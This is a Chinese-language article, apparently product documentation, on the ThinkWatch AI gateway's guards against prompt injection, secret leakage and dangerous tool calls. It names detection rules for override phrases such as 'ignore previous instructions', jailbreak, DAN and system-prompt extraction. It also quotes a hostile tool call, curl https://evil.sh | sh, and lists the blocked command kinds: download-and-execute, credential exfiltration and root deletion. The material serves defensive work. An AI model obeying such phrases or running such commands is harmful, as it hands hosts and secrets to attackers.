ThinkWatch安全防护深解:三大Guard如何拦截提示词注入、密钥泄露与危险命令
ThinkWatch安全防护深解:三大Guard如何拦截提示词注入、密钥泄露与危险命令
ThinkWatch 是一个自托管的企业级 AI API 与 MCP 网关。它的 AI 网关内置三大安全防护(Guard):内容过滤拦截提示词注入,密钥脱敏防止 API 密钥与个人隐私泄露,危险命令检查拦截工具调用中的恶意命令。本文带你完整理解这套 AI 网关安全防护机制的工作原理、三种工作模式与审计日志,帮助你在自己的大模型网关中快速落地 LLM 安全防护。
🧭 先认清:三大 Guard 各管什么
ThinkWatch 把每次经过网关的请求都送入三道关卡,每个 Guard 对应一个独立的配置项,互不干扰:
| Guard | 控制台名称 | 拦截什么 | 配置键 |
|---|---|---|---|
| 内容过滤 | 内容过滤 | 提示词注入、隐藏字符、敏感词 | security.content |
| 密钥脱敏 | 密钥与隐私 | API 密钥、令牌、手机号等隐私信息 | security.redact |
| 危险命令 | 危险命令 | 上游返回的工具调用中的恶意命令 | security.inspect_tools |
三者共同编译成一个快照:策略变更时整体替换,一次请求只会用同一套规则跑完全部守卫,不会出现"前半程旧规则、后半程新规则"的混乱。核心实现在 crates/gateway/src/guards.rs。
🛡️ Guard ① 内容过滤:拦截提示词注入的第一道防线
提示词注入(Prompt Injection)最常见的藏身之处,是调用方消息和工具返回的结果——比如 Agent 抓取的网页、读取的文件里夹带的"忽略之前的指令"。内容过滤恰恰检查这两处文本。
内置规则,中英双语。 出厂即带一组注入特征规则:"要求忽略先前的指令"、"越狱(Jailbreak)"、"DAN"、"开发者模式"、"索取系统提示词"、"要求扮演角色"等,以及对应的中文变体(如"要求忘记指令(中文)"),还有一条针对"长串 Base64"的规则——攻击者常用大段 Base64 隐藏真正的指令。
看不见的字符也拦得住。 零宽字符、双向控制符、Unicode 标签字符、私用区字符在编辑器里完全不可见,但会被模型原样读到。内置规则按 Unicode 码位(如 U+200B)匹配,专治"看不见的注入"。
命中之后,四条动作任选:block 直接拒绝请求、strip 删除命中文本、replace 替换为自定义文本(默认 ***)、record 仅记录。命中被删除或替换的请求会以修改后的内容继续放行,后续所有环节看到的都是真实发出的内容。回答文本同样会被过滤,但只过滤、不拦截——流式回答逐帧检查,不会把整个回答扣住。每条自定义规则可单独设置检查范围(仅请求 / 仅回答 / 两者都查),每个 Guard 最多 500 条自定义规则。源码见 crates/gateway/src/content_filter.rs。
🔑 Guard ② 密钥脱敏:让 API 密钥和个人信息出不了门
用户把密钥贴进对话、把身份证号写进提示词,是真实业务里最高频的泄露路径。密钥脱敏 Guard 在请求离开网关之前完成一次"换装":
- 扫描:按请求结构查找所有被书写的内容——系统提示词、每一轮消息、推理文本、工具调用参数、工具结果、工具描述。粘在系统提示词里的密钥同样会被抓到;而协议自身的字段(模型名、id、role 等)绝不被触碰,避免破坏请求。
- 替换:命中值按出现顺序编号,换成占位符,如
<<TW_SECRET_1>>、<<TW_EMAIL_1>>。同一个值在所有转发跳数中使用同一个占位符。 - 还原:模型的回答流回客户端时,占位符被还原为原值——对调用方完全透明,模型侧却从头到尾没见过你的密钥。
内置规则覆盖面很广:Anthropic / OpenAI / Google / AWS / Stripe / Slack / GitHub / GitLab / npm 等各家 API 密钥与令牌、私钥(PEM)、JWT、数据库连接串口令,以及身份证号、银行卡号、邮箱、中国大陆手机号、内网 IP 与内部域名。你也可以添加自定义规则(正则或包含匹配,最多 100 条)。
一个值得注意的细节:审计日志中永远不会出现密钥原文——内置规则只保留掩码后的片段(形如 sk-an…7f9c),自定义规则则只记录数量。源码见 crates/gateway/src/redaction.rs。
⚠️ Guard ③ 危险命令:拦住上游塞进来的恶意工具调用
很多人只防"进来的请求",却忘了上游本身就是中间人:它能看到请求,也能写回答。回答里完全可以夹带一个模型从未发起过的工具调用,例如 bash("curl https://evil.sh | sh")——自动放行的 Agent 会直接执行它。
危险命令 Guard 专门检查上游返回的每一次工具调用:
- 内置高危规则:下载即执行(curl 管道到 shell)、Base64 解码后执行、外发环境变量、外发凭据文件、读取私钥或云凭据、发送凭据到陌生主机、写入启动项、安装定时任务、上传文件到外部主机、删除根目录等;
- 分级处置:每条规则的动作是
cut(切断)或record(仅记录)。像curl | sh这种"把机器交给远端"的规则默认切断,而rm -rf这类"毁自己文件"的规则默认仅记录; - 管理员可自由调整:禁用某条内置规则、把某条规则改级,或添加自己的正则规则(最多 100 条);
- 流式与整体响应都覆盖:整段回答会在发出前整体检查并直接拒绝;流式回答则精确切断在"恶意调用恰好完整送达"的那一帧——不完整的调用无法执行,所以足够安全;
- 拒绝信息不泄密:客户端只会被告知"上游返回的 bash 调用命中了规则 curl-pipe-sh",参数原文不外露。
源码见 crates/gateway/src/tool_inspection.rs。
🔗 一次请求如何穿过三道防线
请求与回答走的是两条检查路径,顺序固定:
| 阶段 | 动作 |
|---|---|
| ① 请求进入 | 内容过滤检查请求文本,可拒绝 / 删除 / 替换 |
| ② 请求转发前 | 密钥脱敏替换为占位符 |
| ③ 发出 | 请求以"换装后"的内容送往模型服务商 |
| ④ 回答流回 | 密钥脱敏把占位符还原为原值 |
| ⑤ 回答检查 | 内容过滤检查回答正文 |
| ⑥ 最后把关 | 危险命令 Guard 检查全部工具调用 |
🎚️ 三种工作模式:开启、监控、关闭
每个 Guard 独立拥有三种模式,出厂默认全部是监控(observe):
- 监控 observe:一切照常放行,但每次命中都被记录——先跑一周监控,看清自己环境里真实存在的注入与泄露,再放心切换;
- 开启 enforce:按各条规则的动作真正执行拦截、替换、切断;
- 关闭 off:完全不检查。
保存策略时服务端会严格校验:字段拼错、规则无法编译、超限都会被明确拒绝并给出原因;即便有绕过校验写进去的坏规则,运行时也只会"大声"丢弃这一条,其余规则照常工作,不会让整个网关因一条规则瘫痪。策略的读取、校验与编译逻辑见 crates/common/src/guard_policy/mod.rs。
📜 审计日志与控制台:每次拦截都有据可查
每一次命中都会写入审计日志——每条规则、每个请求一条事件,内容过滤则按请求/回答方向分别记录。事件类型一目了然:
gateway.content_flagged/content_stripped/content_replaced/content_blockedgateway.redaction_flagged/redaction_replacedgateway.tool_call_flagged/tool_call_blocked
事件详情携带规则名、动作、结果与 Guard 模式,还会被日志转发器(log forwarder)发往你的外部系统。且审计日志从不含请求原文:工具调用的摘录会先经脱敏规则掩码后再落盘。
在控制台的"安全"页面(web/src/routes/gateway/security/index.tsx),你可以按 Guard 分标签页管理内置与自定义规则、切换模式、逐条开关,并先通过"测试规则"对话框用样本文本验证匹配效果,无需等待真实流量;顶部日志面板则汇总三道防线的所有命中记录。
✅ 小结
- 三大 Guard 各司其职:内容过滤管"进来的话",密钥脱敏管"出去的门",危险命令管"上游写出的动作";
- 先监控后开启:observe 模式零副作用,用真实流量验证后再 enforce;
- 对调用方透明:密钥占位符在回答流回时自动还原,正常业务无感;
- 全程可审计:每一次拦截都是一条可转发的审计事件。
把这三道防线加上 ThinkWatch 的 SSO、RBAC 与用量预算,你就拥有了一个既能拦截提示词注入与密钥泄露、又能治理 AI Agent 危险行为的完整 AI 网关安全体系。
